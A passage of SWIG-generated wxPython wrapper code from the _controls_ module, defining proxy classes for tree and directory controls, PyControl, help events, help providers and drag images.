_controls_.TreeCtrl_GetQuickBestSize(*args, **kwargs)\n\n Count = property(GetCount,doc=\"See `GetCount`\") \n EditControl = property(GetEditControl,doc=\"See `GetEditControl`\") \n FirstVisibleItem = property(GetFirstVisibleItem,doc=\"See `GetFirstVisibleItem`\") \n ImageList = property(GetImageList,SetImageList,doc=\"See `GetImageList` and `SetImageList`\") \n Indent = property(GetIndent,SetIndent,doc=\"See `GetIndent` and `SetIndent`\") \n QuickBestSize = property(GetQuickBestSize,SetQuickBestSize,doc=\"See `GetQuickBestSize` and `SetQuickBestSize`\") \n RootItem = property(GetRootItem,doc=\"See `GetRootItem`\") \n Selection = property(GetSelection,doc=\"See `GetSelection`\") \n Selections = property(GetSelections,doc=\"See `GetSelections`\") \n Spacing = property(GetSpacing,SetSpacing,doc=\"See `GetSpacing` and `SetSpacing`\") \n StateImageList = property(GetStateImageList,SetStateImageList,doc=\"See `GetStateImageList` and `SetStateImageList`\") \n_controls_.TreeCtrl_swigregister(TreeCtrl)\n\ndef PreTreeCtrl(*args, **kwargs):\n \"\"\"PreTreeCtrl() -> TreeCtrl\"\"\"\n val = _controls_.new_PreTreeCtrl(*args, **kwargs)\n return val\n\ndef TreeCtrl_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n TreeCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.TreeCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nDIRCTRL_DIR_ONLY = _controls_.DIRCTRL_DIR_ONLY\nDIRCTRL_SELECT_FIRST = _controls_.DIRCTRL_SELECT_FIRST\nDIRCTRL_SHOW_FILTERS = _controls_.DIRCTRL_SHOW_FILTERS\nDIRCTRL_3D_INTERNAL = _controls_.DIRCTRL_3D_INTERNAL\nDIRCTRL_EDIT_LABELS = _controls_.DIRCTRL_EDIT_LABELS\nclass DirItemData(_core.Object):\n \"\"\"Proxy of C++ DirItemData class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def SetNewDirName(*args, **kwargs):\n \"\"\"SetNewDirName(self, String path)\"\"\"\n return _controls_.DirItemData_SetNewDirName(*args, **kwargs)\n\n m_path = property(_controls_.DirItemData_m_path_get, _controls_.DirItemData_m_path_set)\n m_name = property(_controls_.DirItemData_m_name_get, _controls_.DirItemData_m_name_set)\n m_isHidden = property(_controls_.DirItemData_m_isHidden_get, _controls_.DirItemData_m_isHidden_set)\n m_isExpanded = property(_controls_.DirItemData_m_isExpanded_get, _controls_.DirItemData_m_isExpanded_set)\n m_isDir = property(_controls_.DirItemData_m_isDir_get, _controls_.DirItemData_m_isDir_set)\n_controls_.DirItemData_swigregister(DirItemData)\nDirDialogDefaultFolderStr = cvar.DirDialogDefaultFolderStr\n\nclass GenericDirCtrl(_core.Control):\n \"\"\"Proxy of C++ GenericDirCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String dir=DirDialogDefaultFolderStr, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=wxDIRCTRL_3D_INTERNAL|wxSUNKEN_BORDER, \n String filter=EmptyString, \n int defaultFilter=0, String name=TreeCtrlNameStr) -> GenericDirCtrl\n \"\"\"\n _controls_.GenericDirCtrl_swiginit(self,_controls_.new_GenericDirCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String dir=DirDialogDefaultFolderStr, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=wxDIRCTRL_3D_INTERNAL|wxSUNKEN_BORDER, \n String filter=EmptyString, \n int defaultFilter=0, String name=TreeCtrlNameStr) -> bool\n \"\"\"\n return _controls_.GenericDirCtrl_Create(*args, **kwargs)\n\n def ExpandPath(*args, **kwargs):\n \"\"\"ExpandPath(self, String path) -> bool\"\"\"\n return _controls_.GenericDirCtrl_ExpandPath(*args, **kwargs)\n\n def CollapsePath(*args, **kwargs):\n \"\"\"CollapsePath(self, String path) -> bool\"\"\"\n return _controls_.GenericDirCtrl_CollapsePath(*args, **kwargs)\n\n def GetDefaultPath(*args, **kwargs):\n \"\"\"GetDefaultPath(self) -> String\"\"\"\n return _controls_.GenericDirCtrl_GetDefaultPath(*args, **kwargs)\n\n def SetDefaultPath(*args, **kwargs):\n \"\"\"SetDefaultPath(self, String path)\"\"\"\n return _controls_.GenericDirCtrl_SetDefaultPath(*args, **kwargs)\n\n def GetPath(*args, **kwargs):\n \"\"\"GetPath(self) -> String\"\"\"\n return _controls_.GenericDirCtrl_GetPath(*args, **kwargs)\n\n def GetFilePath(*args, **kwargs):\n \"\"\"GetFilePath(self) -> String\"\"\"\n return _controls_.GenericDirCtrl_GetFilePath(*args, **kwargs)\n\n def SetPath(*args, **kwargs):\n \"\"\"SetPath(self, String path)\"\"\"\n return _controls_.GenericDirCtrl_SetPath(*args, **kwargs)\n\n def ShowHidden(*args, **kwargs):\n \"\"\"ShowHidden(self, bool show)\"\"\"\n return _controls_.GenericDirCtrl_ShowHidden(*args, **kwargs)\n\n def GetShowHidden(*args, **kwargs):\n \"\"\"GetShowHidden(self) -> bool\"\"\"\n return _controls_.GenericDirCtrl_GetShowHidden(*args, **kwargs)\n\n def GetFilter(*args, **kwargs):\n \"\"\"GetFilter(self) -> String\"\"\"\n return _controls_.GenericDirCtrl_GetFilter(*args, **kwargs)\n\n def SetFilter(*args, **kwargs):\n \"\"\"SetFilter(self, String filter)\"\"\"\n return _controls_.GenericDirCtrl_SetFilter(*args, **kwargs)\n\n def GetFilterIndex(*args, **kwargs):\n \"\"\"GetFilterIndex(self) -> int\"\"\"\n return _controls_.GenericDirCtrl_GetFilterIndex(*args, **kwargs)\n\n def SetFilterIndex(*args, **kwargs):\n \"\"\"SetFilterIndex(self, int n)\"\"\"\n return _controls_.GenericDirCtrl_SetFilterIndex(*args, **kwargs)\n\n def GetRootId(*args, **kwargs):\n \"\"\"GetRootId(self) -> TreeItemId\"\"\"\n return _controls_.GenericDirCtrl_GetRootId(*args, **kwargs)\n\n def GetTreeCtrl(*args, **kwargs):\n \"\"\"GetTreeCtrl(self) -> TreeCtrl\"\"\"\n return _controls_.GenericDirCtrl_GetTreeCtrl(*args, **kwargs)\n\n def GetFilterListCtrl(*args, **kwargs):\n \"\"\"GetFilterListCtrl(self) -> DirFilterListCtrl\"\"\"\n return _controls_.GenericDirCtrl_GetFilterListCtrl(*args, **kwargs)\n\n def GetDirItemData(*args, **kwargs):\n \"\"\"GetDirItemData(self, TreeItemId id) -> DirItemData\"\"\"\n return _controls_.GenericDirCtrl_GetDirItemData(*args, **kwargs)\n\n def FindChild(*args, **kwargs):\n \"\"\"\n FindChild(wxTreeItemId parentId, wxString path) -> (item, done)\n\n Find the child that matches the first part of 'path'. E.g. if a child\n path is \"/usr\" and 'path' is \"/usr/include\" then the child for\n /usr is returned. If the path string has been used (we're at the\n leaf), done is set to True.\n\n \"\"\"\n return _controls_.GenericDirCtrl_FindChild(*args, **kwargs)\n\n def DoResize(*args, **kwargs):\n \"\"\"DoResize(self)\"\"\"\n return _controls_.GenericDirCtrl_DoResize(*args, **kwargs)\n\n def ReCreateTree(*args, **kwargs):\n \"\"\"ReCreateTree(self)\"\"\"\n return _controls_.GenericDirCtrl_ReCreateTree(*args, **kwargs)\n\n DefaultPath = property(GetDefaultPath,SetDefaultPath,doc=\"See `GetDefaultPath` and `SetDefaultPath`\") \n FilePath = property(GetFilePath,doc=\"See `GetFilePath`\") \n Filter = property(GetFilter,SetFilter,doc=\"See `GetFilter` and `SetFilter`\") \n FilterIndex = property(GetFilterIndex,SetFilterIndex,doc=\"See `GetFilterIndex` and `SetFilterIndex`\") \n FilterListCtrl = property(GetFilterListCtrl,doc=\"See `GetFilterListCtrl`\") \n Path = property(GetPath,SetPath,doc=\"See `GetPath` and `SetPath`\") \n RootId = property(GetRootId,doc=\"See `GetRootId`\") \n TreeCtrl = property(GetTreeCtrl,doc=\"See `GetTreeCtrl`\") \n_controls_.GenericDirCtrl_swigregister(GenericDirCtrl)\n\ndef PreGenericDirCtrl(*args, **kwargs):\n \"\"\"PreGenericDirCtrl() -> GenericDirCtrl\"\"\"\n val = _controls_.new_PreGenericDirCtrl(*args, **kwargs)\n return val\n\nclass DirFilterListCtrl(Choice):\n \"\"\"Proxy of C++ DirFilterListCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, GenericDirCtrl parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0) -> DirFilterListCtrl\n \"\"\"\n _controls_.DirFilterListCtrl_swiginit(self,_controls_.new_DirFilterListCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, GenericDirCtrl parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0) -> bool\n \"\"\"\n return _controls_.DirFilterListCtrl_Create(*args, **kwargs)\n\n def FillFilterList(*args, **kwargs):\n \"\"\"FillFilterList(self, String filter, int defaultFilter)\"\"\"\n return _controls_.DirFilterListCtrl_FillFilterList(*args, **kwargs)\n\n_controls_.DirFilterListCtrl_swigregister(DirFilterListCtrl)\n\ndef PreDirFilterListCtrl(*args, **kwargs):\n \"\"\"PreDirFilterListCtrl() -> DirFilterListCtrl\"\"\"\n val = _controls_.new_PreDirFilterListCtrl(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nclass PyControl(_core.Control):\n \"\"\"Proxy of C++ PyControl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, Validator validator=DefaultValidator, \n String name=ControlNameStr) -> PyControl\n \"\"\"\n _controls_.PyControl_swiginit(self,_controls_.new_PyControl(*args, **kwargs))\n self._setOORInfo(self);PyControl._setCallbackInfo(self, self, PyControl)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _controls_.PyControl__setCallbackInfo(*args, **kwargs)\n\n SetBestSize = wx.Window.SetInitialSize \n def DoEraseBackground(*args, **kwargs):\n \"\"\"DoEraseBackground(self, DC dc) -> bool\"\"\"\n return _controls_.PyControl_DoEraseBackground(*args, **kwargs)\n\n def DoMoveWindow(*args, **kwargs):\n \"\"\"DoMoveWindow(self, int x, int y, int width, int height)\"\"\"\n return _controls_.PyControl_DoMoveWindow(*args, **kwargs)\n\n def DoSetSize(*args, **kwargs):\n \"\"\"DoSetSize(self, int x, int y, int width, int height, int sizeFlags=SIZE_AUTO)\"\"\"\n return _controls_.PyControl_DoSetSize(*args, **kwargs)\n\n def DoSetClientSize(*args, **kwargs):\n \"\"\"DoSetClientSize(self, int width, int height)\"\"\"\n return _controls_.PyControl_DoSetClientSize(*args, **kwargs)\n\n def DoSetVirtualSize(*args, **kwargs):\n \"\"\"DoSetVirtualSize(self, int x, int y)\"\"\"\n return _controls_.PyControl_DoSetVirtualSize(*args, **kwargs)\n\n def DoGetSize(*args, **kwargs):\n \"\"\"DoGetSize() -> (width, height)\"\"\"\n return _controls_.PyControl_DoGetSize(*args, **kwargs)\n\n def DoGetClientSize(*args, **kwargs):\n \"\"\"DoGetClientSize() -> (width, height)\"\"\"\n return _controls_.PyControl_DoGetClientSize(*args, **kwargs)\n\n def DoGetPosition(*args, **kwargs):\n \"\"\"DoGetPosition() -> (x,y)\"\"\"\n return _controls_.PyControl_DoGetPosition(*args, **kwargs)\n\n def DoGetVirtualSize(*args, **kwargs):\n \"\"\"DoGetVirtualSize(self) -> Size\"\"\"\n return _controls_.PyControl_DoGetVirtualSize(*args, **kwargs)\n\n def DoGetBestSize(*args, **kwargs):\n \"\"\"DoGetBestSize(self) -> Size\"\"\"\n return _controls_.PyControl_DoGetBestSize(*args, **kwargs)\n\n def GetDefaultAttributes(*args, **kwargs):\n \"\"\"GetDefaultAttributes(self) -> VisualAttributes\"\"\"\n return _controls_.PyControl_GetDefaultAttributes(*args, **kwargs)\n\n def OnInternalIdle(*args, **kwargs):\n \"\"\"OnInternalIdle(self)\"\"\"\n return _controls_.PyControl_OnInternalIdle(*args, **kwargs)\n\n def base_DoMoveWindow(*args, **kw):\n return PyControl.DoMoveWindow(*args, **kw)\n base_DoMoveWindow = wx._deprecated(base_DoMoveWindow,\n \"Please use PyControl.DoMoveWindow instead.\")\n\n def base_DoSetSize(*args, **kw):\n return PyControl.DoSetSize(*args, **kw)\n base_DoSetSize = wx._deprecated(base_DoSetSize,\n \"Please use PyControl.DoSetSize instead.\")\n\n def base_DoSetClientSize(*args, **kw):\n return PyControl.DoSetClientSize(*args, **kw)\n base_DoSetClientSize = wx._deprecated(base_DoSetClientSize,\n \"Please use PyControl.DoSetClientSize instead.\")\n\n def base_DoSetVirtualSize(*args, **kw):\n return PyControl.DoSetVirtualSize(*args, **kw)\n base_DoSetVirtualSize = wx._deprecated(base_DoSetVirtualSize,\n \"Please use PyControl.DoSetVirtualSize instead.\")\n\n def base_DoGetSize(*args, **kw):\n return PyControl.DoGetSize(*args, **kw)\n base_DoGetSize = wx._deprecated(base_DoGetSize,\n \"Please use PyControl.DoGetSize instead.\")\n\n def base_DoGetClientSize(*args, **kw):\n return PyControl.DoGetClientSize(*args, **kw)\n base_DoGetClientSize = wx._deprecated(base_DoGetClientSize,\n \"Please use PyControl.DoGetClientSize instead.\")\n\n def base_DoGetPosition(*args, **kw):\n return PyControl.DoGetPosition(*args, **kw)\n base_DoGetPosition = wx._deprecated(base_DoGetPosition,\n \"Please use PyControl.DoGetPosition instead.\")\n\n def base_DoGetVirtualSize(*args, **kw):\n return PyControl.DoGetVirtualSize(*args, **kw)\n base_DoGetVirtualSize = wx._deprecated(base_DoGetVirtualSize,\n \"Please use PyControl.DoGetVirtualSize instead.\")\n\n def base_DoGetBestSize(*args, **kw):\n return PyControl.DoGetBestSize(*args, **kw)\n base_DoGetBestSize = wx._deprecated(base_DoGetBestSize,\n \"Please use PyControl.DoGetBestSize instead.\")\n\n def base_InitDialog(*args, **kw):\n return PyControl.InitDialog(*args, **kw)\n base_InitDialog = wx._deprecated(base_InitDialog,\n \"Please use PyControl.InitDialog instead.\")\n\n def base_TransferDataToWindow(*args, **kw):\n return PyControl.TransferDataToWindow(*args, **kw)\n base_TransferDataToWindow = wx._deprecated(base_TransferDataToWindow,\n \"Please use PyControl.TransferDataToWindow instead.\")\n\n def base_TransferDataFromWindow(*args, **kw):\n return PyControl.TransferDataFromWindow(*args, **kw)\n base_TransferDataFromWindow = wx._deprecated(base_TransferDataFromWindow,\n \"Please use PyControl.TransferDataFromWindow instead.\")\n\n def base_Validate(*args, **kw):\n return PyControl.Validate(*args, **kw)\n base_Validate = wx._deprecated(base_Validate,\n \"Please use PyControl.Validate instead.\")\n\n def base_AcceptsFocus(*args, **kw):\n return PyControl.AcceptsFocus(*args, **kw)\n base_AcceptsFocus = wx._deprecated(base_AcceptsFocus,\n \"Please use PyControl.AcceptsFocus instead.\")\n\n def base_AcceptsFocusFromKeyboard(*args, **kw):\n return PyControl.AcceptsFocusFromKeyboard(*args, **kw)\n base_AcceptsFocusFromKeyboard = wx._deprecated(base_AcceptsFocusFromKeyboard,\n \"Please use PyControl.AcceptsFocusFromKeyboard instead.\")\n\n def base_GetMaxSize(*args, **kw):\n return PyControl.GetMaxSize(*args, **kw)\n base_GetMaxSize = wx._deprecated(base_GetMaxSize,\n \"Please use PyControl.GetMaxSize instead.\")\n\n def base_Enable(*args, **kw):\n return PyControl.Enable(*args, **kw)\n base_Enable = wx._deprecated(base_Enable,\n \"Please use PyControl.Enable instead.\")\n\n def base_AddChild(*args, **kw):\n return PyControl.AddChild(*args, **kw)\n base_AddChild = wx._deprecated(base_AddChild,\n \"Please use PyControl.AddChild instead.\")\n\n def base_RemoveChild(*args, **kw):\n return PyControl.RemoveChild(*args, **kw)\n base_RemoveChild = wx._deprecated(base_RemoveChild,\n \"Please use PyControl.RemoveChild instead.\")\n\n def base_ShouldInheritColours(*args, **kw):\n return PyControl.ShouldInheritColours(*args, **kw)\n base_ShouldInheritColours = wx._deprecated(base_ShouldInheritColours,\n \"Please use PyControl.ShouldInheritColours instead.\")\n\n def base_GetDefaultAttributes(*args, **kw):\n return PyControl.GetDefaultAttributes(*args, **kw)\n base_GetDefaultAttributes = wx._deprecated(base_GetDefaultAttributes,\n \"Please use PyControl.GetDefaultAttributes instead.\")\n\n def base_OnInternalIdle(*args, **kw):\n return PyControl.OnInternalIdle(*args, **kw)\n base_OnInternalIdle = wx._deprecated(base_OnInternalIdle,\n \"Please use PyControl.OnInternalIdle instead.\")\n\n_controls_.PyControl_swigregister(PyControl)\n\ndef PrePyControl(*args, **kwargs):\n \"\"\"PrePyControl() -> PyControl\"\"\"\n val = _controls_.new_PrePyControl(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nwxEVT_HELP = _controls_.wxEVT_HELP\nwxEVT_DETAILED_HELP = _controls_.wxEVT_DETAILED_HELP\nEVT_HELP = wx.PyEventBinder( wxEVT_HELP, 1)\nEVT_HELP_RANGE = wx.PyEventBinder( wxEVT_HELP, 2)\nEVT_DETAILED_HELP = wx.PyEventBinder( wxEVT_DETAILED_HELP, 1)\nEVT_DETAILED_HELP_RANGE = wx.PyEventBinder( wxEVT_DETAILED_HELP, 2)\n\nclass HelpEvent(_core.CommandEvent):\n \"\"\"\n A help event is sent when the user has requested context-sensitive\n help. This can either be caused by the application requesting\n context-sensitive help mode via wx.ContextHelp, or (on MS Windows) by\n the system generating a WM_HELP message when the user pressed F1 or\n clicked on the query button in a dialog caption.\n\n A help event is sent to the window that the user clicked on, and is\n propagated up the window hierarchy until the event is processed or\n there are no more event handlers. The application should call\n event.GetId to check the identity of the clicked-on window, and then\n either show some suitable help or call event.Skip if the identifier is\n unrecognised. Calling Skip is important because it allows wxWindows to\n generate further events for ancestors of the clicked-on\n window. Otherwise it would be impossible to show help for container\n windows, since processing would stop after the first window found.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n Origin_Unknown = _controls_.HelpEvent_Origin_Unknown\n Origin_Keyboard = _controls_.HelpEvent_Origin_Keyboard\n Origin_HelpButton = _controls_.HelpEvent_Origin_HelpButton\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int winid=0, Point pt=DefaultPosition, \n int origin=Origin_Unknown) -> HelpEvent\n \"\"\"\n _controls_.HelpEvent_swiginit(self,_controls_.new_HelpEvent(*args, **kwargs))\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the left-click position of the mouse, in screen\n coordinates. This allows the application to position the help\n appropriately.\n \"\"\"\n return _controls_.HelpEvent_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"\n SetPosition(self, Point pos)\n\n Sets the left-click position of the mouse, in screen coordinates.\n \"\"\"\n return _controls_.HelpEvent_SetPosition(*args, **kwargs)\n\n def GetLink(*args, **kwargs):\n \"\"\"\n GetLink(self) -> String\n\n Get an optional link to further help\n \"\"\"\n return _controls_.HelpEvent_GetLink(*args, **kwargs)\n\n def SetLink(*args, **kwargs):\n \"\"\"\n SetLink(self, String link)\n\n Set an optional link to further help\n \"\"\"\n return _controls_.HelpEvent_SetLink(*args, **kwargs)\n\n def GetTarget(*args, **kwargs):\n \"\"\"\n GetTarget(self) -> String\n\n Get an optional target to display help in. E.g. a window specification\n \"\"\"\n return _controls_.HelpEvent_GetTarget(*args, **kwargs)\n\n def SetTarget(*args, **kwargs):\n \"\"\"\n SetTarget(self, String target)\n\n Set an optional target to display help in. E.g. a window specification\n \"\"\"\n return _controls_.HelpEvent_SetTarget(*args, **kwargs)\n\n def GetOrigin(*args, **kwargs):\n \"\"\"\n GetOrigin(self) -> int\n\n Optiononal indication of the source of the event.\n \"\"\"\n return _controls_.HelpEvent_GetOrigin(*args, **kwargs)\n\n def SetOrigin(*args, **kwargs):\n \"\"\"SetOrigin(self, int origin)\"\"\"\n return _controls_.HelpEvent_SetOrigin(*args, **kwargs)\n\n Link = property(GetLink,SetLink,doc=\"See `GetLink` and `SetLink`\") \n Origin = property(GetOrigin,SetOrigin,doc=\"See `GetOrigin` and `SetOrigin`\") \n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n Target = property(GetTarget,SetTarget,doc=\"See `GetTarget` and `SetTarget`\") \n_controls_.HelpEvent_swigregister(HelpEvent)\n\nclass ContextHelp(_core.Object):\n \"\"\"\n This class changes the cursor to a query and puts the application into\n a 'context-sensitive help mode'. When the user left-clicks on a window\n within the specified window, a ``EVT_HELP`` event is sent to that\n control, and the application may respond to it by popping up some\n help.\n\n There are a couple of ways to invoke this behaviour implicitly:\n\n * Use the wx.WS_EX_CONTEXTHELP extended style for a dialog or frame\n (Windows only). This will put a question mark in the titlebar,\n and Windows will put the application into context-sensitive help\n mode automatically, with further programming.\n\n * Create a `wx.ContextHelpButton`, whose predefined behaviour is\n to create a context help object. Normally you will write your\n application so that this button is only added to a dialog for\n non-Windows platforms (use ``wx.WS_EX_CONTEXTHELP`` on\n Windows).\n\n :see: `wx.ContextHelpButton`\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window window=None, bool doNow=True) -> ContextHelp\n\n Constructs a context help object, calling BeginContextHelp if doNow is\n true (the default).\n\n If window is None, the top window is used.\n \"\"\"\n _controls_.ContextHelp_swiginit(self,_controls_.new_ContextHelp(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_ContextHelp\n __del__ = lambda self : None;\n def BeginContextHelp(*args, **kwargs):\n \"\"\"\n BeginContextHelp(self, Window window=None) -> bool\n\n Puts the application into context-sensitive help mode. window is the\n window which will be used to catch events; if NULL, the top window\n will be used.\n\n Returns true if the application was successfully put into\n context-sensitive help mode. This function only returns when the event\n loop has finished.\n \"\"\"\n return _controls_.ContextHelp_BeginContextHelp(*args, **kwargs)\n\n def EndContextHelp(*args, **kwargs):\n \"\"\"\n EndContextHelp(self) -> bool\n\n Ends context-sensitive help mode. Not normally called by the\n application.\n \"\"\"\n return _controls_.ContextHelp_EndContextHelp(*args, **kwargs)\n\n_controls_.ContextHelp_swigregister(ContextHelp)\n\nclass ContextHelpButton(BitmapButton):\n \"\"\"\n Instances of this class may be used to add a question mark button that\n when pressed, puts the application into context-help mode. It does\n this by creating a wx.ContextHelp object which itself generates a\n ``EVT_HELP`` event when the user clicks on a window.\n\n On Windows, you may add a question-mark icon to a dialog by use of the\n ``wx.DIALOG_EX_CONTEXTHELP`` extra style, but on other platforms you\n will have to add a button explicitly, usually next to OK, Cancel or\n similar buttons.\n\n :see: `wx.ContextHelp`, `wx.ContextHelpButton`\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=ID_CONTEXT_HELP, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=BU_AUTODRAW) -> ContextHelpButton\n\n Constructor, creating and showing a context help button.\n \"\"\"\n _controls_.ContextHelpButton_swiginit(self,_controls_.new_ContextHelpButton(*args, **kwargs))\n self._setOORInfo(self)\n\n_controls_.ContextHelpButton_swigregister(ContextHelpButton)\n\nclass HelpProvider(object):\n \"\"\"\n wx.HelpProvider is an abstract class used by a program\n implementing context-sensitive help to show the help text for the\n given window.\n\n The current help provider must be explicitly set by the\n application using wx.HelpProvider.Set().\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _controls_.delete_HelpProvider\n __del__ = lambda self : None;\n def Set(*args, **kwargs):\n \"\"\"\n Set(HelpProvider helpProvider) -> HelpProvider\n\n Sset the current, application-wide help provider. Returns the previous\n one. Unlike some other classes, the help provider is not created on\n demand. This must be explicitly done by the application.\n \"\"\"\n return _controls_.HelpProvider_Set(*args, **kwargs)\n\n Set = staticmethod(Set)\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> HelpProvider\n\n Return the current application-wide help provider.\n \"\"\"\n return _controls_.HelpProvider_Get(*args, **kwargs)\n\n Get = staticmethod(Get)\n def GetHelp(*args, **kwargs):\n \"\"\"\n GetHelp(self, Window window) -> String\n\n Gets the help string for this window. Its interpretation is dependent\n on the help provider except that empty string always means that no\n help is associated with the window.\n \"\"\"\n return _controls_.HelpProvider_GetHelp(*args, **kwargs)\n\n def ShowHelp(*args, **kwargs):\n \"\"\"\n ShowHelp(self, Window window) -> bool\n\n Shows help for the given window. Uses GetHelp internally if\n applicable. Returns True if it was done, or False if no help was\n available for this window.\n \"\"\"\n return _controls_.HelpProvider_ShowHelp(*args, **kwargs)\n\n def ShowHelpAtPoint(*args, **kwargs):\n \"\"\"\n ShowHelpAtPoint(self, wxWindowBase window, Point pt, int origin) -> bool\n\n Show help for the given window (uses window.GetHelpAtPoint()\n internally if applicable), return true if it was done or false if no\n help available for this window.\n \"\"\"\n return _controls_.HelpProvider_ShowHelpAtPoint(*args, **kwargs)\n\n def AddHelp(*args, **kwargs):\n \"\"\"\n AddHelp(self, Window window, String text)\n\n Associates the text with the given window.\n \"\"\"\n return _controls_.HelpProvider_AddHelp(*args, **kwargs)\n\n def AddHelpById(*args, **kwargs):\n \"\"\"\n AddHelpById(self, int id, String text)\n\n This version associates the given text with all windows with this\n id. May be used to set the same help string for all Cancel buttons in\n the application, for example.\n \"\"\"\n return _controls_.HelpProvider_AddHelpById(*args, **kwargs)\n\n def RemoveHelp(*args, **kwargs):\n \"\"\"\n RemoveHelp(self, Window window)\n\n Removes the association between the window pointer and the help\n text. This is called by the wx.Window destructor. Without this, the\n table of help strings will fill up and when window pointers are\n reused, the wrong help string will be found.\n \"\"\"\n return _controls_.HelpProvider_RemoveHelp(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"Destroy(self)\"\"\"\n args[0].this.own(False)\n return _controls_.HelpProvider_Destroy(*args, **kwargs)\n\n_controls_.HelpProvider_swigregister(HelpProvider)\n\ndef HelpProvider_Set(*args, **kwargs):\n \"\"\"\n HelpProvider_Set(HelpProvider helpProvider) -> HelpProvider\n\n Sset the current, application-wide help provider. Returns the previous\n one. Unlike some other classes, the help provider is not created on\n demand. This must be explicitly done by the application.\n \"\"\"\n return _controls_.HelpProvider_Set(*args, **kwargs)\n\ndef HelpProvider_Get(*args):\n \"\"\"\n HelpProvider_Get() -> HelpProvider\n\n Return the current application-wide help provider.\n \"\"\"\n return _controls_.HelpProvider_Get(*args)\n\nclass SimpleHelpProvider(HelpProvider):\n \"\"\"\n wx.SimpleHelpProvider is an implementation of `wx.HelpProvider` which\n supports only plain text help strings, and shows the string associated\n with the control (if any) in a tooltip.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> SimpleHelpProvider\n\n wx.SimpleHelpProvider is an implementation of `wx.HelpProvider` which\n supports only plain text help strings, and shows the string associated\n with the control (if any) in a tooltip.\n \"\"\"\n _controls_.SimpleHelpProvider_swiginit(self,_controls_.new_SimpleHelpProvider(*args, **kwargs))\n_controls_.SimpleHelpProvider_swigregister(SimpleHelpProvider)\n\n#---------------------------------------------------------------------------\n\nclass DragImage(_core.Object):\n \"\"\"Proxy of C++ DragImage class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Bitmap image, Cursor cursor=wxNullCursor) -> DragImage\"\"\"\n _controls_.DragImage_swiginit(self,_controls_.new_DragImage(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_DragImage\n __del__ = lambda self : None;\n def SetBackingBitmap(*args, **kwargs):\n \"\"\"SetBackingBitmap(self, Bitmap bitmap)\"\"\"\n return _controls_.DragImage_SetBackingBitmap(*args, **kwargs)\n\n def BeginDrag(*args, **kwargs):\n \"\"\"\n BeginDrag(self, Point hotspot, Window window, bool fullScreen=False, \n Rect rect=None) -> bool\n \"\"\"\n return _controls_.DragImage_BeginDrag(*args, **kwargs)\n\n def BeginDragBounded(*args, **kwargs):\n \"\"\"BeginDragBounded(self, Point hotspot, Window window, Window boundingWindow) -> bool\"\"\"\n return _controls_.DragImage_BeginDragBounded(*args, **kwargs)\n\n def EndDrag(*args, **kwargs):\n \"\"\"EndDrag(self) -> 